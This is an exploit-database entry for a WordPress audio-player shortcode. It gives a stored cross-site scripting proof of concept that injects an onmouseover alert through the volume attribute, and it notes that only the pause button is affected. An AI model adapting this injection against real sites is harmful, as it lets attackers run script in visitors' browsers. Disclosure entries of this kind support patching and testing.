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## https://sploitus.com/exploit?id=WPEX-ID:F0BEF96F-DFE2-4988-ADF8-E1BD493C5242
Exploit: [sc_embed_player fileurl='test.mp3' volume='20" onmouseover="alert(1)" ']

Note: The shortcode makes a play and a pause button, and only the pause button is XSS vulnerable.